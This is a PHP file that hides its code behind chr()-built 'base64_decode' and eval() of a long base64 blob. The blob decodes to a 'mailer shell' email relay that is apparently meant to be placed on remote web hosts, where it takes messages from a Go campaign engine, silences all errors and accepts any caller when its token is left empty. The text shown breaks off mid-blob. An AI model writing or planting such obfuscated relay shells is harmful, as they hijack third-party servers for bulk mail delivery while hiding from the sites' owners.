<?php
$tuw=chr((98)).chr(((36+1)-27+87)).chr((10*115/10)).chr((259-158)).chr((7*6+12)).chr(((32+19)-41+42)).chr((81+14)).chr(((5+41)-36+90)).chr((101)).chr((12*5+39)).chr((9*2+93)).chr((6*100/6)).chr(((1+17)-11+94));
eval($tuw('Ci8qKgogKiBtYWlsZXJfc2hlbGwucGhwIOKAlCBNYWlsRm9yZ2UgUEhQIEVtYWlsIFJlbGF'.'5CiAqCiAqIFRoaXMgaXMgdGhlIGNhbm9uaWNhbCByZWxheSBzY3JpcHQgZGVwbG95ZWQgb2'.'4gcmVtb3RlIHdlYiBob3N0cyBmb3IgInNoZWxsIgogKiBkZWxpdmVyeSBwcmVzZXRzLiBUa'.'GUgR28gZW5naW5lIFBPU1RzIGEgcHJlLWJ1aWx0IFJGQzI4MjIgbWVzc2FnZSBoZXJlLgog'.'KgogKiBNQUpPUiBJTVBST1ZFTUVOVFMgKHJlcGxhY2VzIHByZXZpb3VzIHZlcnNpb24gZW5'.'0aXJlbHkpOgogKiAgIC0gTGFyZ2UgYXR0YWNobWVudHMgKG11bHRpLW1lZ2FieXRlKSBoYW'.'5kbGVkIGdyYWNlZnVsbHkgdmlhIHN0cmVhbWluZy4KICogICAtIEFjY2VwdHMgcGF5bG9hZ'.'CB2aWEgbXVsdGlwYXJ0IGZpbGUgdXBsb2FkIG9yIHJhdyByZXF1ZXN0IGJvZHkgKG5vCiAq'.'ICAgICBkb3VibGUtYmFzZTY0IGJsb2F0IG9uIHRoZSB3aXJlLCBTQVBJIHRlbXAgZmlsZXM'.'gdXNlZCBhdXRvbWF0aWNhbGx5KS4KICogICAtIExlZ2FjeSBiYXNlNjQgYHJhd19tZXNzYW'.'dlYCBmb3JtIGZpZWxkIHN0aWxsIHN1cHBvcnRlZCBmb3Igc21hbGwKICogICAgIG1lc3NhZ'.'2VzIGFuZCBlYXN5IHRlc3RpbmcuCiAqICAgLSBFYXJseSArIGZyZXF1ZW50IHByb2dyZXNz'.'IG91dHB1dCB3aXRoIGZsdXNoKCkgdG8ga2VlcCBuZ2lueCwgQ2xvdWRmbGFyZSwKICogICA'.'gIExpdGVTcGVlZCBhbmQgb3RoZXIgcmV2ZXJzZSBwcm94aWVzIGZyb20ga2lsbGluZyBsb2'.'5nLXJ1bm5pbmcgcmVxdWVzdHMuCiAqICAgLSBQZXItcGhhc2UgdGltZSBidWRnZXRzOiBzb'.'G93ICJkaXJlY3QiIG9yICJmb3JjZSIgYXR0ZW1wdHMgYXJlIGFib3J0ZWQKICogICAgIGlu'.'c3RlYWQgb2YgaGFuZ2luZyB0aGUgd2hvbGUgUE9TVCB1bnRpbCB0aGUgd2ViIHNlcnZlciB'.'raWxscyBpdCAoNTAyLzUwNCkuCiAqICAgLSBNZW1vcnktc2FmZSBwcm9jZXNzaW5nOiBtZX'.'NzYWdlIGlzIGFsd2F5cyBzdHJlYW1lZCB0byBhIHNlZWthYmxlIHRlbXAKICogICAgIGZpb'.'GU7IG5ldmVyIGEgZ2lhbnQgc3RyaW5nIGluIFJBTSBmb3IgYmFzZTY0IGRlY29kZSBvciBE'.'S0lNLgogKiAgIC0gU3RyZWFtaW5nIGRlbGl2ZXJ5IHRvIHNlbmRtYWlsIChwb3Blbi9wcm9'.'jKSBhbmQgcmF3IFNNVFAgc29ja2V0cy4KICogICAtIEluY3JlbWVudGFsIHJlbGF4ZWQgYm'.'9keSBoYXNoaW5nIGZvciBES0lNIG9uIGxhcmdlIGJvZGllcy4KICogICAtIEdyYW51bGFyI'.'HN0YXR1cyB0b2tlbnMgKCpyZWN2OnByb2dyZXNzOiosICpwaGFzZToqLCAqbWV0aG9kOiop'.'IGFuZAogKiAgICAgc3BlY2lmaWMgZXJyb3IgdG9rZW5zIGZvciBiZXR0ZXIgZGlhZ25vc3R'.'pY3MuCiAqICAgLSBQcm9wZXIgdGVtcCBmaWxlIGxpZmVjeWNsZSB3aXRoIGd1YXJhbnRlZW'.'QgY2xlYW51cC4KICogICAtIEZyZXF1ZW50IGNvbm5lY3Rpb25fYWJvcnRlZCgpIGNoZWNrc'.'yBzbyB0aGF0IGNhbmNlbGxlZCBkZWJ1ZyBzZW5kcyBvcgogKiAgICAgaW5ib3ggdGVzdHMg'.'KHdoaWNoIHVzZSB0aGUgNjBzIGdSUEMgU2VuZE9uZSBwYXRoKSBkbyBub3QgbGVhdmUgc3R'.'1Y2sKICogICAgIFBIUC1GUE0gd29ya2VycyBvbiB0aGUgcmVtb3RlIGhvc3QuCiAqCiAqIE'.'RlYnVnLCBpbmJveCB0ZXN0LCBhbmQgbGl2ZSBjYW1wYWlnbiBzZW5kcyBhbGwgdXNlIHRoZ'.'SBpZGVudGljYWwgZGVsaXZlcnkKICogcGF0aCB0aHJvdWdoIFNoZWxsU2VuZGVyLlNlbmQs'.'IHNvIHRoZSByZWxpYWJpbGl0eSBpbXByb3ZlbWVudHMgYXBwbHkgdG8gYWxsLgogKgogKiB'.'CZWNhdXNlIHRoZXJlIHdlcmUgbm8gZGVwbG95ZWQgY29waWVzIGF0IHRoZSB0aW1lIG9mIH'.'RoaXMgcmV3cml0ZSwgdGhlCiAqIG9uLXRoZS13aXJlIHByb3RvY29sIHdhcyBpbXByb3ZlZ'.'C4gVGhlIEdvIGNsaWVudCBub3cgcHJlZmVycyB0aGUgZWZmaWNpZW50CiAqIHBhdGhzIGJ1'.'dCBjYW4gc3RpbGwgZmFsbCBiYWNrIHRvIHRoZSBvbGQgYmFzZTY0IGZvcm0gZmllbGQuCiA'.'qCiAqIFJlY29tbWVuZGVkIGRlcGxveW1lbnQgbGltaXRzIChwaHAuaW5pIG9yIC51c2VyLm'.'luaSBpbiB0aGUgZGlyZWN0b3J5KToKICogICB1cGxvYWRfbWF4X2ZpbGVzaXplID0gMzBNC'.'iAqICAgcG9zdF9tYXhfc2l6ZSAgICAgICA9IDMwTQogKiAgIG1heF9leGVjdXRpb25fdGlt'.'ZSAgPSAxMjAKICogICBtZW1vcnlfbGltaXQgICAgICAgID0gMTI4TQogKiAgIG91dHB1dF9'.'idWZmZXJpbmcgICAgPSBPZmYKICoKICogbmdpbnggKGlmIGluIGZyb250KToKICogICBjbG'.'llbnRfbWF4X2JvZHlfc2l6ZSAzMG07CiAqICAgcHJveHlfcmVhZF90aW1lb3V0IDE4MHM7C'.'iAqCiAqIEZpbGwgU0VDUkVUX1RPS0VOIGFmdGVyIGRvd25sb2FkLiBMZWF2ZSBlbXB0eSB0'.'byBhbGxvdyBhbGwgY2FsbGVycyAobm90CiAqIHJlY29tbWVuZGVkIGZvciBwdWJsaWMgZGV'.'wbG95bWVudHMpLgogKi8KCmRlZmluZSgnU0VDUkVUX1RPS0VOJywgJycpOwoKLy8gPT09PT'.'09PT09PT09PT09PT09PT09PSBUVU5BQkxFUyA9PT09PT09PT09PT09PT09PT09PT09CmRlZ'.'mluZSgnTUFYX01FU1NBR0VfQllURVMnLCAyNSAqIDEwMjQgKiAxMDI0KTsgICAvLyAyNSBN'.'aUIgaGFyZCBzYWZldHkgY2FwCmRlZmluZSgnT1ZFUkFMTF9USU1FT1VUX1NFQycsIDkwKTs'.'KZGVmaW5lKCdQRVJfTUVUSE9EX1RJTUVPVVRfU0VDJywgMjApOwpkZWZpbmUoJ1BST0dSRV'.'NTX0ZMVVNIX0VWRVJZX0JZVEVTJywgMjU2ICogMTAyNCk7CmRlZmluZSgnVE1QX0RJUicsI'.'HN5c19nZXRfdGVtcF9kaXIoKSk7CmRlZmluZSgnVE1QX1BSRUZJWCcsICdtZi1yZWxheS0n'.'KTsKCi8vID09PT09PT09PT09PT09PT09PT09PT0gUlVOVElNRSBTVEFURSA9PT09PT09PT0'.'9PT09PT09PT09PT09CkBlcnJvcl9yZXBvcnRpbmcoMCk7CkBpbmlfc2V0KCdkaXNwbGF5X2'.'Vycm9ycycsIDApOwpAaW5pX3NldCgnaHRtbF9lcnJvcnMnLCAwKTsKQGluaV9zZXQoJ3psa'.'WIub3V0cHV0X2NvbXByZXNzaW9uJywgMCk7CkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5n'.'JywgJzAnKTsKQHNldF90aW1lX2xpbWl0KE9WRVJBTExfVElNRU9VVF9TRUMpOwpAaWdub3J'.'lX3VzZXJfYWJvcnQoZmFsc2UpOwoKJF9fc3RhcnRfdGltZSA9IG1pY3JvdGltZSh0cnVlKT'.'sKJF9fcGhhc2Vfc3RhcnQgPSAkX19zdGFydF90aW1lOwokX19vdXJfdGVtcF9maWxlcyA9I'.'FtdOwoKcmVnaXN0ZXJfc2h1dGRvd25fZnVuY3Rpb24oZnVuY3Rpb24gKCkgdXNlICgmJF9f'.'b3VyX3RlbXBfZmlsZXMpIHsKICAgIGZvcmVhY2ggKCRfX291cl90ZW1wX2ZpbGVzIGFzICR'.'wKSB7CiAgICAgICAgQHVubGluaygkcCk7CiAgICB9Cn0pOwoKZnVuY3Rpb24gYnVkZ2V0X2'.'V4Y2VlZGVkKCkgewogICAgZ2xvYmFsICRfX3N0YXJ0X3RpbWU7CiAgICByZXR1cm4gKG1pY'.'3JvdGltZSh0cnVlKSAtICRfX3N0YXJ0X3RpbWUpID4gT1ZFUkFMTF9USU1FT1VUX1NFQzsK'.'fQoKZnVuY3Rpb24gbWV0aG9kX3RpbWVfbGVmdCgpIHsKICAgIGdsb2JhbCAkX19waGFzZV9'.'zdGFydDsKICAgICRzcGVudCA9IG1pY3JvdGltZSh0cnVlKSAtICRfX3BoYXNlX3N0YXJ0Ow'.'ogICAgcmV0dXJuIG1heCgxLCBQRVJfTUVUSE9EX1RJTUVPVVRfU0VDIC0gJHNwZW50KTsKf'.'QoKZnVuY3Rpb24gY2xpZW50X2dvbmUo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